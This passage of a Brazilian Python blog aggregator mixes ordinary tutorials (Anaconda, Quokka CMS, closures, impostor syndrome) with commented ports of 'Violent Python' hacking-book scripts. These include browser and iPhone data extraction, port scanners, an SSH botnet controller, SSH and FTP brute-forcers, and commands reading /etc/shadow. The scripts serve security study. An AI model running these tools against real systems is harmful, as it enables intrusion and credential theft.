search = r[0].split('&')[0]
search = search.replace('q=', '').replace('+', ' ')
print('[+] %s - Searched For: %s' % (date, search))


def main():
""" Funcao principal """

# Parse explicando como deve ser a chamada do script
parser = optparse.OptionParser('usage %prog -p ')

# Separa os parametros solicitados
parser.add_option('-p', dest='pathName', type='string', help='specify skype profile path')

# Faz o parse dos parametros
(options, args) = parser.parse_args()
pathName = options.pathName

# Se nao receber os parametros solicitados para o script
if not pathName:
print(parser.usage)
exit(0)
# Se nao for passado um caminho para os arquivos de banco
elif not os.path.isdir(pathName):
print('[!] Path Does Not Exist: %s' % (pathName))
exit(0)
else:
# Concatena o caminho com o arquivo de banco com os downloads do firefox
downloadDB = os.path.join(pathName, 'downloads.sqlite')
# Se existir o arquivo, faz a chamada da funcao
if os.path.isfile(downloadDB):
# Chama a funcao que imprimir os download realizados no firefox
printDownloads(downloadDB)
else:
print('[!] Downloads Db does not exist: %s' % (downloadDB))

# Concatena o caminho com o arquivo de banco dos cookies do firefox
cookiesDB = os.path.join(pathName, 'cookies.sqlite')
# Se existir o arquivo, faz a chamada da funcao
if os.path.isfile(cookiesDB):
# Chama a funcao que imprimir os cookies do firefox
printCookies(cookiesDB)
else:
print('[!] Cookies Db does not exist:' % (cookiesDB))

# Concatena o caminho com o arquivo de banco dos cookies do firefox
placesDB = os.path.join(pathName, 'places.sqlite')
# Se existir o arquivo, faz a chamada da funcao
if os.path.isfile(placesDB):
# Chama a funcao que imprimir o historico do firefox
printHistory(placesDB)
# Chama a funcao que imprimir oas pequisar realizadas no google pelo firefox
printGoogle(placesDB)
else:
print('[!] PlacesDb does not exist: ' % (placesDB))

# Chama a funcao main principal
if __name__ == '__main__':
main()


7-iphoneMessages.py


#!/usr/bin/python
# -*- coding: utf-8 -*-
import os
import sqlite3
import optparse


def isMessageTable(iphoneDB):
""" Funcao que verifica se arquivo passado eh uma tabela de mensagem do bkp do iphone """

try:
# Conecta via sqlite no arquivo de base de dados
conn = sqlite3.connect(iphoneDB)
c = conn.cursor()
# Faz o select no banco
c.execute('SELECT tbl_name FROM sqlite_master WHERE type=="table";')

# Se achar a palavra message eh um arquivo valido
for row in c:
if 'message' in str(row):
return True
except:
return False


def printMessage(msgDB):
""" Funcao que imprime as mensagem do bkp do iphone """

try:
# Conecta via sqlite no arquivo de base de dados
conn = sqlite3.connect(msgDB)
c = conn.cursor()
# Faz o select no banco
c.execute('select datetime(date,"unixepoch"), address, text from message WHERE address>0;')

# Imprime o resultado
for row in c:
date = str(row[0])
addr = str(row[1])
text = row[2]
print('\n[+] Date: %s , Addr: %s, Message: %s' % (date, addr, text))
except:
pass


def main():
""" Funcao principal """

# Parse explicando como deve ser a chamada do script
parser = optparse.OptionParser('usage %prog -p ')

# Separa os parametros solicitados
parser.add_option('-p', dest='pathName', type='string', help='specify skype profile path')

# Faz o parse dos parametros
(options, args) = parser.parse_args()
pathName = options.pathName

# Se nao receber os parametros solicitados para o script
if not pathName:
print(parser.usage)
exit(0)
else:
# Loopa todos os arquivos do diretorio informado via parametro
dirList = os.listdir(pathName)
for fileName in dirList:
# Concatema o caminho passado via parametro com os arquivos encontrados
iphoneDB = os.path.join(pathName, fileName)
# Verifica se o arquivo encontrado eh uma tabela de bkp do message do iphone
if isMessageTable(iphoneDB):
try:
print('\n[*] --- Found Messages ---')
# Chama a funcao que imprime as mensagens encontradas
printMessage(iphoneDB)
except:
pass

# Chama a funcao main principal
if __name__ == '__main__':
main()


por smateus@gmail.com (Sérgio Mateus) em 11 de August de 2015 às 22:04

August 06, 2015

Programando Ciência

Instalando o Anaconda / Installing Anaconda

Faaaaaaala cientista! Tudo certo?
Mudamos nossa opinião sobre distribuições Python! Elas facilitam sua vida!
Hoje vamos mostrar como instalar uma das principais distribuições Python científicas, o Anaconda!

Hey scientist! How is it going?
We changed our opinion on Python distributions! They ease your life!
Today we’ll show how to install one of the main scientific Python distros, Anaconda!

Pois é caro cientista, lembra desse post aqui, em que eu disse que preferia usar as versões de pacotes Python do sistema? Agora ando balançado, depois que descobri a facilidade que as distribuições trazem pra gente. Anaconda, por exemplo, possui mais de 190 pacotes científicos! Deixa seu PC prontinho pra usar vários pacotes Python!

Alright dear scientist, do you remember this post, where I said that I’d rather use the system versions of Python? Now I was shocked, after I discovered the ease that the distros bring to us. Anaconda, for instance, has more than 190 scientific packages! It lets your PC ready to use several Python packages!

Pra instalar o Anaconda é muito simplê: baixe o instalador nesse endereço aqui, de acordo com o seu sistema e com a versão do Python. É só clicar no ícone do seu sistema, depois no botão à esquerda. No nosso caso, queremos o Python 3.4 (clicamos em “I WANT PYTHON 3.4”). Pro Linux, a tela de download fica assim:

Installing Anaconda is very simple. Download the installer here, according to your system and Python version. After that, click on the icon of your system, then on the left button. We want Python 3.4 (click on “I WANT PYTHON 3.4”). For Linux, the download screen is:

anaconda_page

Depois de baixar, siga os procedimentos de instalação do seu sistema. No Linux, é só abrir um terminal na pasta em que o instalador está (no nosso caso, ~/Downloads) e digitar o comando abaixo.

After downloading, follow the install procedures of your system. On Linux, you open a terminal on the folder that the installer is (for us, ~/Downloads) and type the command below.

anaconda_install

Precisamos aceitar as condições e escolher o local onde o Anaconda vai ser instalado. Caso não queira mudar o local, quando a opção aparecer tecle Enter. E tá pronto!

We need to accept the conditions and choose the folder where Anaconda will be installed. If you don’t want to change the folder, press Enter when the option appears. And you’re good to go!

Depois de instalar o Anaconda podemos instalar pacotes disponíveis por meio do comando conda install.

After installing Anaconda, we can install available packages using the command conda install.

anaconda_keepcalm

Por exemplo, para instalar o ambiente de desenvolvimento Spyder (que vai quebrar um galhão!), digitamos no terminal Linux:

As an example, to install the development environment Spyder (which will help us big time!), we type on a Linux terminal:

conda_installspyder

E então, pra abrir o Spyder / Then, to execute Spyder:

spyder

Essa é a cara do meu Spyder. Ele já foi modificado, mas essencialmente a cara dele é essa. Gostou dele? Semana que vem começaremos a utilizá-lo! :)

This is the look of my Spyder; it has been modified, but essentially keeps its original look. Did you like Spyder? Next week I’ll show you guys how to use it! :)

spyder_screen

Além do conda install há o conda update, pra atualizar pacotes da sua distribuição Anaconda. Para atualizar o sistema conda, os comandos são os seguintes. No nosso caso, eles já estão atualizados:

Besides conda install, we have conda update, used to update packages from your Anaconda distro. The following commands are used to update the conda system. In this scenario, they’re already updated:

conda_update

E é isso! Agora você tem uma ferramenta poderosa pra trabalhar com Python científico! Nos próximos posts Python, trabalharemos com Anacond e Spyder até segunda ordem :)
Valeu cientista! Um giga abraço!

That’s it! Now you have a powerful tool to work with scientific Python! On the next Python posts we’ll work with Anaconda and Spyder until we say we’ll not :)
Thanks scientist! Gigaregards!


Gostou? Curta e compartilhe com seus amigos!
Curta a gente também no Facebook: www.facebook.com/programandociencia
Estou no Twitter! Siga-me se puder! @alexdesiqueira

Like this? Please comment and share with your friends!
Like us also on Facebook: www.facebook.com/programandociencia
I’m on Twitter! Follow me if you can! @alexdesiqueira


por alexandrejaguar em 06 de August de 2015 às 11:20

August 02, 2015

Bruno Cezar Rocha

How to customize Quokka CMS home page template

How to customize quokka CMS templates

So you want to create a website using Quokka CMS but this website will not use the default 'blogging like' template that is the default CMS theme.

You can use Quokka to create any kind of website that handle dynamix content, the only thing you need is to create the desired channels and customize some jinja2 templates.

Take a look at this example of fundraising campaign website done with quokka: http://www.natalanimal.com.br this an e-commerce like app using quokka-fundraising and quokka-cart modules, this website customized the templates for 'home' channel as it looks like a web portal. (the source code for this template is available in: https://bitbucket.org/rochacbruno/natal-theme/)

Now lets create a sample website to our fake company that looks more like an institutional home-page than a blog.

Environment

If you do not have a quokka environment yet, lets start creating one, you will need a running instance of MongoDB as you can find more instructions here

And you will need git plus python 2.7 and virtualenvwrapper

git clone https://github.com/quokkaproject/quokka
cd quokka
mkvirtualenv quokka
pip install -r requirements.txt

NOTE: if your MongoDB is running externally you may need to change the MONGODB_HOST = xxx.xxx.x.x in a file called local_settings.py or you can export as an environment variable export QUOKKA_MONGODB_HOST=xxx.xxx.x.x

Populate sample data and run the local server

python manage.py populate
python manage.py runserver --reloader --debug

Now you should be able to see your running site in http://localhost:5000, as you can see your Quokka site looks like a blog because it uses the default theme, now we are going to customize this theme.

Hit CTRL+C to stop the running server and lets make a copy of current theme.

cp -r quokka/themes/pure quokka/themes/custom
export QUOKKA_DEFAULT_THEME="custom"

you can also put DEFAULT_THEME = 'custom' in your local_settings.py if you created one.

lets create a new channel

Now run the website again

python manage.py runserver --reloader --debug

Now access the website admin panel http://localhost:5000/admin using the default populated credentials 'admin@example.com' with passwd 'admin'

Go to the menu Content -> Channel


And create a new channel by clicking in create tab:

Put a name My Home Page and a description in html editor and then click in submit/save at the end of the form.

Your new channel is identified by the slug my-home-page this is the important detail to start customizing the theme.

Back to the channels page select your new channel:


And then click in actions selector with selected -> publish

Select it again and now use with selected -> set as homepage to set the new channel as the site homepage

lets create an about-us page

Access the admin and create a new channel called About Us (which will be identified by the slug about-us) add some text to description and check 'publish' and 'show in menu' and save it.


Now lets customize the home page template template

Home page:

Create a new template for my-home-page channel.

Quokka themes will try to find specific templates under a folder with the same name as the channel under content folder

mkdir quokka/themes/custom/templates/content/my-home-page

Now copy the default listing template to this folder and customize it

cp quokka/themes/custom/templates/content/default_list.html quokka/themes/custom/templates/content/my-home-page/

Edit the file quokka/themes/custom/templates/content/my-home-page/default_list.html with the following jinja2 code:

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="icon" href="/favicon.ico">
    <title>{{channel.long_slug.split('/')|join(' | ')}} | {{Config.get('site', 'site_name', 'Quokka site')}}</title>
    <link href="http://getbootstrap.com/dist/css/bootstrap.min.css" rel="stylesheet">
    <link href="http://getbootstrap.com/examples/justified-nav/justified-nav.css" rel="stylesheet">
    <script src="http://getbootstrap.com/assets/js/ie-emulation-modes-warning.js"></script>
  </head>
  <body>
    <div class="container">
      <div class="masthead">
        <h3 class="text-muted">{{Config.get('site', 'site_name', 'Quokka site')}}</h3>
        <nav>
          <ul class="nav nav-justified">
            <li class="active"><a href="/">Home</a></li>
            {% for channel in channels.filter(show_in_menu=True)%}
            <li><a href="{{channel.get_absolute_url()}}">{{channel.title}}</a></li>
            {% endfor %}
          </ul>
        </nav>
      </div>
      <div class="jumbotron">
        <h1>{{channel.title}}</h1>
        <p class="lead">{{channel.get_text()|safe}}</p>
        <p><a class="btn btn-lg btn-success" href="#" role="button">Welcome!</a></p>
      </div>
      <div class="row">
        {% for content in contents.items[0:3] %}
        <div class="col-lg-4">
          <h2>{{content.title}}</h2>
          <p class="text-danger"></p>
          <p>{{content.get_summary()|safe}}}} </p>
          <p><a class="btn btn-primary" href="{{content.get_absolute_url()}}" role="button">View details &raquo;</a></p>
        </div>
        {% endfor %}
      <footer class="footer">
        <p>&copy; Powered by Quokka CMS</p>
      </footer>
    </div> <!-- /container -->
    <script src="http://getbootstrap.com/assets/js/ie10-viewport-bug-workaround.js"></script>
  </body>
</html>

Now restart the server and go to the http://localhost:5000 to see yout new homepage template in action.


You can do the same as above for the about-us if needed, but note that empty channels will render its html description, so you don´t need to customize it if html description is enough


Now if you wish, you can customize the other templates located in content folder to follow the same pattern and you will have a completely modified Quokka CMS theme.

As you can see it is very easy to deal with templates in Quokka CMS because it uses Quokka-Themes extension and just pure Jinja2 templates.

por Bruno Rocha em 02 de August de 2015 às 21:33

August 01, 2015

Julio Cesar Eiras Melanda

Closures em Python

Fala pessoal!

Esses dias me deu vontade de falar com vocês sobre algumas coisas mais avançadas... o assunto hoje são as Clojures!

Antes de qualquer coisa, o que são clojures?

Clojures são funções aninhadas, nas quais a função interna tem acesso às variáveis da função externa.

Imagine uma função que pode ser configurada para usos futuros.

Vamos entender este código

Primeiro, definimos uma função chamada soma_x. Esta função recebe o parâmetro x. Dentro desta função existe a segunda função soma_y, que usa o x recebido por soma_x para somar com o y recebido por ela.

Porém a função soma_y não é chamada dentro de soma_x, mas é retornada por ela. Isto faz com que o retorno de soma_x seja a função soma_y com acesso ao escopo de soma_x, que recebeu o x

Vejamos como isto funciona na prática.

Este escopo que guardamos em soma_x e fica acessível para soma_y é o que chamamos de closure.

É importante notar que de forma diferente de outras linguagens, os calores acessíveis pela closure não são mutáveis por padrão, então, não poderíamos mudar o valor de x dentro de soma_y. Para permitir a alteração das closures dentro da função interna, é preciso declarar a variável internamente como nonlocal, somente presente no python3. Vejamos o exemplo:

Experimente chamar a função conta_chamadas e então chamar a função de retorno diversas vezes.

Mas pra que podemos usar as closures?

Bom, o exemplo que demos, é uma versão simplificada de uma razão para usar closures. Pré setar valores para o uso de uma função, assim, podemos passar os valores ao chamar a função, e depois usar a closure repetidas.

Outra utilização de closures é a criação de decorators. Abordaremos os decorators em um próximo artigo. pois é um tema mais complexo e bastante importante, merece um artigo próprio.

Espero que tenham gostado do artigo!

Qualquer dúvida, sugestão ou comentario é só dizer aqui em baixo!

Abraços!

por Julio Cesar Eiras Melanda em 01 de August de 2015 às 21:56

July 29, 2015

Eric Hideki

O impacto da síndrome do impostor nos profissionais de TI

A área de tecnologia é uma das que mais crescem no mundo. A todo momento surgem inovações e novidades que mudam completamente nosso cotidiano. E com isso são necessários profissionais especialistas em cada assunto. Mas e quem não é especialista, como ele se sente?

Por incrível que pareça, muitas pessoas podem estar com a síndrome do impostor e não sabem.

Mas o que seria isso? Para exemplificar melhor, deixo dois textos muito bacanas que ilustram bem esse sintoma:

http://exame.abril.com.br/revista-voce-sa/edicoes/189/noticias/voce-ja-se-sentiu-um-impostor

http://www.papodehomem.com.br/esta-se-sentindo-um-impostor-voce-nao-esta-so/

Muitos ouvem falar dos desenvolvedores “Rockstar”, aqueles que se destacam pelas suas atividades comunitárias, seja escrevendo artigos, ou dando palestras mundo afora, onde são considerados referências no assunto. O Diego Eis escreveu a respeito sobre essa ideia – http://tableless.com.br/nao-seja-o-proximo-zeno-rocha/. Mas algo que o Zeno relata em outro texto (https://medium.com/@zenorocha/ser-popular-e-uma-merda-b739836e4407) é algo que algumas pessoas podem não perceber:

Lembre-se sempre:popularidade é diferente de competência. Só porque alguém é referência em determinada área, não quer dizer que essa pessoa é melhor tecnicamente que você. De novo, pode parecer clichê mas a gente esquece disso o tempo todo.

E pelo fato de que há pessoas mais articuladas no mercado, que sempre dão as caras em eventos, não quer dizer que o que dizem seja mais importante do que você tenha a dizer.

Assim como a história do Python, a linguagem não foi feita apenas pelo Guido Van Hossun, foi feita por diversas pessoas que tinham o interesse genuíno de compartilhar e colaborar com algo que achavam interessante.

O vídeo abaixo mostra um pouco sobre a história do Python, onde o Guido encaminhou um e-mail para um grupo de amigos e todas as interações feitas são e-mails trocados e projetos que foram nascendo nesse meio tempo.

Não foque nos resultados, foque no processo!

Para chegar em algum objetivo, independente do que for, é necessário o primeiro passo. E o medo do fracasso, como descrito nos textos, é maior do que sua coragem de começar as coisas.

Com isso, é necessário foco e realmente querer, com isso, deixo novamente dois links muito importantes:

http://mel-meow.com/uma-longa-noite-aprendendo/

Conclusões

Muitos tem medo de compartilhar aquilo que sabem, pois o medo das críticas é enorme. Isso é normal e não tem problema algum com isso, mas saiba que o pouco que sabe pode mudar a vida de outra pessoa. Por isso, não deixe de interagir e compartilhar.

Ninguém nasceu sabendo. É meio clichê isso mas nós sempre esquecemos. Tudo leva tempo, e se a pessoa tem bastante capacidade, tenha certeza que isso levou tempo, e porque não podemos, aos poucos, também alcançar essa mesma capacidade? Até porque, precisamos de apenas 20 horas para aprender algo.

Conhece alguém que já teve a síndrome do impostor ou você já teve? Deixe nos comentários como foi constatar o problema e quais foram as soluções que encontrou nesse tempo.


por Eric Hideki em 29 de July de 2015 às 17:21

July 28, 2015

Sergio Mateus

Qual o melhor material para se começar com python ? Chapter 2

Disponível a alteração do segundo capítulo dos códigos fonte do livro Violent Python - A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers do autor TJ O'Connor da editora Elsevier / Syngress, ISBN-13: 978-1597499576 ISBN-10: 1597499579.

Em breve estarei disponibilizando o capítulo 3.

Segue link para o GitHub dos arquivos:
https://github.com/smateusjr/Violent-Python

Abaixo os arquivos com comentários para auxiliar.

1-portScan.py


#!/usr/bin/python
# -*- coding: utf-8 -*-

import optparse
from socket import *
from threading import *

# Cria um novo objeto de thread caso solicitado pelo acquire()
screenLock = Semaphore(value=1)


def connScan(tgtHost, tgtPort):
""" Funcao para conectar no host alvo """

try:
# Cria um INET, STREAMing socket
connSkt = socket(AF_INET, SOCK_STREAM)
# Conecta no host e na porta informada
connSkt.connect((tgtHost, tgtPort))
# Envia uma mensagem (em bytes devido ao python 3) via TCP
connSkt.send(bytes('ViolentPython'.encode('utf-8')))
# Espera um reposta
results = connSkt.recv(100)
# Adiquire um block, blocking ou nom-blocling para a thred em semaforo
screenLock.acquire()

print('[+] %d/tcp open' % (tgtPort))
print('[+] %s' % (results.decode()))

except:
# Adiquire um block, blocking ou nom-blocling para a thred em semaforo
screenLock.acquire()
print('[-] %d/tcp closed' % (tgtPort))

finally:
# libera a thread
screenLock.release()
# Fecha a conexao do socket
connSkt.close()


def portScan(tgtHost, tgtPorts):
""" Funcao para scanear portas """

try:
# Busca o Ip (ipv4) do alvo utilizando o hostname, caso informado
tgtIP = gethostbyname(tgtHost)
except:
print('[-] Cannot resolve "%s": Unknown host' % (tgtHost))
return

try:
# Busca o hostname do alvo utilizando o IP, caso informado
tgtName = gethostbyaddr(tgtIP)

# Mostra o host do alvo utilizando o IP ou o hostname
print('\n[+] Scan Results for: %s' % (tgtName[0]))
except:
print('\n[+] Scan Results for: %s' % (tgtIP))

# Seta um time out de 1 segundo
setdefaulttimeout(1)

# Loopa as portas informadas por parametro
for tgtPort in tgtPorts:
# Cria uma thread chamando a funcao de conectar e passando o Host e a porta como parametro
t = Thread(target=connScan, args=(tgtHost, int(tgtPort)))
# Inicia a thread
t.start()


def main():
"""Funcao principal """

# Parse explicando como deve ser a chamada do script
parser = optparse.OptionParser('usage %prog -H -p ,,')

# Separa os parametros solicitados
parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-p', dest='tgtPort', type='string', help='specify target port[s] separated by comma')

# Faz o parse dos parametros
(options, args) = parser.parse_args()

# Se nao receber os parametros solicitados para o script
if not options.tgtHost or not options.tgtPort:
print(parser.usage)
exit(0)

# Separa as portas em uma lista e remove os espacos
tgtPorts = options.tgtPort.replace(" ", '').split(',')

# Chama a funcao de scaneamento de portas, limpa a lista de portas removendo string vazias com o filter
portScan(options.tgtHost, filter(None, tgtPorts))

# Chama a funcao main principal
if __name__ == '__main__':
main()


2-nmapScan.py


#!/usr/bin/python
# -*- coding: utf-8 -*-

import nmap
import optparse


def nmapScan(tgtHost, tgtPort):
""" Funcao para fazer o scaneamento utilizando o Nmap """

# Cria um objeto Nmap
nmScan = nmap.PortScanner()
# Faz o scaneamento no host e na porta informada
nmScan.scan(tgtHost, tgtPort)
# Verifica o estado do servico pela porta
state = nmScan[tgtHost]['tcp'][int(tgtPort)]['state']
# Imprimi o resultado
print('[*] %s tcp %s %s' % (tgtHost, tgtPort, state))


def main():
"""Funcao principal """

# Parse explicando como deve ser a chamada do script
parser = optparse.OptionParser('usage %prog -H -p ,,')

# Separa os parametros solicitados
parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-p', dest='tgtPort', type='string', help='specify target port[s] separated by comma')

# Faz o parse dos parametros
(options, args) = parser.parse_args()

# Se nao receber os parametros solicitados para o script
if not options.tgtHost or not options.tgtPort:
print(parser.usage)
exit(0)

# Separa as portas em uma lista e remove os espacos
tgtPorts = options.tgtPort.replace(" ", '').split(',')

# Chama a funcao de scaneamento de portas, limpa a lista de portas removendo string vazias com o filter
for tgtPort in filter(None, tgtPorts):
nmapScan(options.tgtHost, tgtPort)

# Chama a funcao main principal
if __name__ == '__main__':
main()


3-botNet.py


#!/usr/bin/python
# -*- coding: utf-8 -*-

import pxssh

class Client:

""" Classe de clients com funcoes de conexao """


def __init__(self, host, user, password):
""" Inicia as variaveis globais da classe """

self.host = host
self.user = user
self.password = password
self.session = self.connect()


def connect(self):
""" Funcao para conectar via ssh no alvo """
try:
# Cria um objeto da classe pxssh para conexao via ssh
s = pxssh.pxssh()
# Tenta realizar o login no alvo
s.login(self.host, self.user, self.password)
# Retorna a estancia da conexao
return s
except Exception as e:
# Printa o erro caso nao conecte
print(e)
print('[-] Error Connecting')


def send_command(self, cmd):
""" Funcao para enviar um comando para o host alvo """

# If para verificar se existe conexao
if self.session:
# Envia um comando para o host via ssh
self.session.sendline(cmd)
# Chama o prompt
self.session.prompt()
# Retorna o que eh enviado depois do prompt de comando
return self.session.before
return 'No conection'


def botnetCommand(command):
""" Funcao para adicionar os comando a serem enviado ao host alvo """

# Loopa a lista de host adicionados
for client in botNet:
# Cria a variavel output com o resultado da funcao send_command da classe cliente
output = client.send_command(command)
# imprime o resultado
print('[*] Output from %s' % (client.host))
# Se o resultado for em bytes faz um decode, se for string imprime direto
print('[+] %s' % (output.decode() if isinstance(output, bytes) else output))


def addClient(host, user, password):
""" Funcao para adicionar clientes alvos """

# cria uma estancia da classe client e passa os parametros de conexao
client = Client(host, user, password)
# Adicionar la lista botNet os client alvos
botNet.append(client)

# Lista usada para adicionar os client alvos
botNet = []
# Chama a funcao addClient com os host alvos e dados de conexao
addClient('127.0.0.1', 'root', 'toor')
addClient('127.0.0.1', 'root', 'toor')
addClient('192.168.56.107', 'sergio', '123123')

# Chama a funcao botnetCommand com os comandos
botnetCommand('uname -v')
botnetCommand('cat /etc/issue')


3-bruteKey.py


#!/usr/bin/python
# -*- coding: utf-8 -*-

import pexpect
import optparse
import os
from threading import *

# Seta 5 threads no maximo
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)

# Seta as variaveis globais com valores default
Stop = False
Fails = 0


def connect(user, host, keyfile, release):
""" Funcao para conectar via ssh no host alvo """

# Variaveis globais
global Stop
global Fails

try:
# variaveis com possiveis retornos
perm_denied = 'Permission denied'
ssh_newkey = 'Are you sure you want to continue'
conn_closed = 'Connection closed by remote host'
# parametro opcional
opt = ' -o PasswordAuthentication=no'
# Comando ssh que vai ser enviado
connStr = 'ssh {user}@{host} -i {key}{opt}'.format(user=user, host=host, key=keyfile, opt=opt)
# Executa o comando ssh
child = pexpect.spawn(connStr)
# Lista com a espera de alguns possiveis retornos
ret = child.expect([pexpect.TIMEOUT, perm_denied, ssh_newkey, conn_closed, '$', '#'])
# Se retornar 2, conseguiu conectar, mas teve uma interacao
if ret == 2:
print('[-] Adding Host to ~/.ssh/known_hosts')
# Enviar 'Yes' para o prompt
child.sendline('yes')
# Chama novamente a funcao de conexao
connect(user, host, keyfile, False)
# Se retornou 3, erro ao conectar
elif ret == 3:
print('[-] Connection Closed By Remote Host')
Fails += 1
# Se retornou um valor maior que 3 conseguiu conexao
elif ret > 3:
print('[+] Success. %s' % (str(keyfile)))
Stop = True
finally:
# Se conectou e nao caiu na expection, termina a conexao
if release:
connection_lock.release()


def main():
""" Funcao principal """

# Parse explicando como deve ser a chamada do script
parser = optparse.OptionParser('usage %prog -H -u -d ')

# Separa os parametros solicitados
parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-d', dest='passDir', type='string', help='specify directory with keys')
parser.add_option('-u', dest='user', type='string', help='specify the user')

# Faz o parse dos parametros
(options, args) = parser.parse_args()
host = options.tgtHost
passDir = options.passDir
user = options.user

# Se nao receber os parametros solicitados para o script
if not host or not passDir or not user:
print(parser.usage)
exit(0)

# Loopa todas as linhas do arquivo de senhas
for filename in os.listdir(passDir):
# Se ja encontrou uma chave que conecte, para o script
if Stop:
print('[*] Exiting: Key Found.')
exit(0)
# Se tentou muitas vezes, para o scritpt
if Fails > 5:
print('[!] Exiting: Too Many Connections Closed By Remote Host.')
print('[!] Adjust number of simultaneous threads.')
exit(0)

# Adiquire um block, blocking ou nom-blocling para a thred em semaforo
connection_lock.acquire()
fullpath = os.path.join(passDir, filename)
print('[-] Testing keyfile %s' % (str(fullpath)))
t = Thread(target=connect, args=(user, host, fullpath, True))
t.start()

# Chama a funcao main principal
if __name__ == '__main__':
main()


3-pxsshCommand.py


#!/usr/bin/python
# -*- coding: utf-8 -*-

import pxssh


def send_command(s, cmd):
""" Funcao para enviar comandos ao host alvo """

# Envia um comando para o host via ssh
s.sendline(cmd)
# Chama o prompt
s.prompt()
# Se o resultado for em bytes faz um decode, se for string imprime direto
print('%s' % (s.before.decode() if isinstance(s.before, bytes) else s.before))


def connect(host, user, password):
""" Funcao para conectar no host alvo """

try:
# Cria um objeto da classe pxssh para conexao via ssh
s = pxssh.pxssh()
# Tenta realizar o login no alvo
s.login(host, user, password)
# Retorna a estancia da conexao
return s
except:
print('[-] Error Connecting')
exit(0)

# Chama a funcao de conexao passando os parametros do host alvo
s = connect('127.0.0.1', 'root', 'toor')
# Chama a funcao que envia comandos para o host alvo
send_command(s, 'cat /etc/shadow | grep root')


3-sshBrute.py


#!/usr/bin/python
# -*- coding: utf-8 -*-

import pxssh
import optparse
import time
from threading import *

# Seta 5 threads no maximo
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)

# Seta as variaveis globais com valores default
Found = False
Fails = 0


def connect(host, user, password, release):
""" Funcao para conectar via ssh no host alvo """

# Variaveis globais
global Found
global Fails

try:
# Cria um objeto da classe pxssh para conexao via ssh
s = pxssh.pxssh()
# Tenta realizar o login no alvo
s.login(host, user, password)
# Retorna a estancia da conexao
print('[+] Password Found: %s' % (password))
# Seta a variavel global Found como True
Found = True
except Exception as e:
# Se retornar read_nonblocking, aguarda 5segundos para tentar novamente
if 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
connect(host, user, password, False)
# Se retornar synchronize with original prompt aguarda 1 segundo para tentar novamente
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect(host, user, password, False)
finally:
# Se conseguiu conectar apenas libera a conexao
if release:
connection_lock.release()


def main():
""" Funcao principal """

# Parse explicando como deve ser a chamada do script
parser = optparse.OptionParser('usage %prog -H -u -F ')

# Separa os parametros solicitados
parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')
parser.add_option('-u', dest='user', type='string', help='specify the user')

# Faz o parse dos parametros
(options, args) = parser.parse_args()
host = options.tgtHost
passwdFile = options.passwdFile
user = options.user

# Se nao receber os parametros solicitados para o script
if not host or not passwdFile or not user:
print(parser.usage)
exit(0)

# Abre o arquivo de senha
fn = open(passwdFile, 'r')

# Loopa tpdas as senha do arquivo
for line in fn.readlines():
# Se ja achou a senha valida, informa
if Found:
print("[*] Exiting: Password Found")
exit(0)
# Para o script com muitas tentativas
if Fails > 5:
print("[!] Exiting: Too Many Socket Timeouts")
exit(0)

# Adiquire um block, blocking ou nom-blocling para a thred em semaforo
connection_lock.acquire()

# Retira a quebra de linha da senha, veio como texto
password = line.strip('\r').strip('\n')
print("[-] Testing: %s" % (str(password)))

# Cria uma thread chamando a funcao de conectar e passando o Host e a porta como parametro
t = Thread(target=connect, args=(host, user, password, True))
t.start()

# Chama a funcao main principal
if __name__ == '__main__':
main()


3-sshCommand.py


#!/usr/bin/python
# -*- coding: utf-8 -*-

import pexpect

PROMPT = ['# ', '>>> ', '> ', '\$ ']


def send_command(child, cmd):
""" Funcao para enviar comandos ao host alvo """

# Envia um comando para o host via ssh
child.sendline(cmd)
# Espera uma resposta do prompt
child.expect(PROMPT)
# Se o resultado for em bytes faz um decode, se for string imprime direto
print(child.before.decode() if isinstance(child.before, bytes) else child.before)


def connect(user, host, password):
""" Funcao para conectar via ssh no host alvo """

ssh_newkey = 'Are you sure you want to continue connecting'
# Comando ssh com os parametros de conexao
connStr = 'ssh {user}@{host}'.format(user=user, host=host)
# tenta conectar informando o comando ssh
child = pexpect.spawn(connStr)
# Aguarda alguns retorno na lista abaixo
ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:'])

# Se nao houver retorno retorna um erro
if ret == 0:
print('[-] Error Connecting')
return

# Se retornar 1 conseguiu conectar
if ret == 1:
# Informa 'yes' caso apareca:
# Are you sure you want to continue connecting (yes/no)?
child.sendline('yes')
# Espera um time out ou o prompt para digitar a senha
ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:'])
# Se nao houver retorno retorna um erro
if ret == 0:
print('[-] Error Connecting')
return
# Informa a senha
child.sendline(password)
# Espera o retorno de um prompt
child.expect(PROMPT)
# Retorna o promt aberto pronto para receber comandos
return child


def main():
""" Funcao principal """

# Parametros do host alvo
host = '192.168.56.107'
user = 'root'
password = 'root123'

# Chama a funcao de conexao passando os parametros do host alvo
child = connect(user, host, password)

# Se conecctou, chama a funcao que envia comandos para o host alvo
if child:
send_command(child, 'cat /etc/shadow | grep root')

# Chama a funcao main principal
if __name__ == '__main__':
main()


4-anonLogin.py


#!/usr/bin/python
# -*- coding: utf-8 -*-

import ftplib


def anonLogin(hostname):
""" Funcao para conexao via FTP anonimo """
try:

# Cria um objeto de ftp para conexao
ftp = ftplib.FTP(hostname)
# Tenta logar via ftp anonimo
ftp.login('anonymous', 'me@your.com')
print('\n[*] %s FTP Anonymous Logon Succeeded.' % (str(hostname)))
# Fecha a conexao via ftp
ftp.quit()
return True
except:
# Se nao conseguir logar, retorna o erro
print('\n[-] %s FTP Anonymous Logon Failed.' % (str(hostname)))
return False

# Host alvo para o login anonimo
host = '192.168.56.107'
# Chama a funcao de conecao via FTP anonimo
anonLogin(host)


4-bruteLogin.py


#!/usr/bin/python
# -*- coding: utf-8 -*-

import ftplib
import time


def bruteLogin(hostname, passwdFile):
""" Funcao para tentativa de conexao """

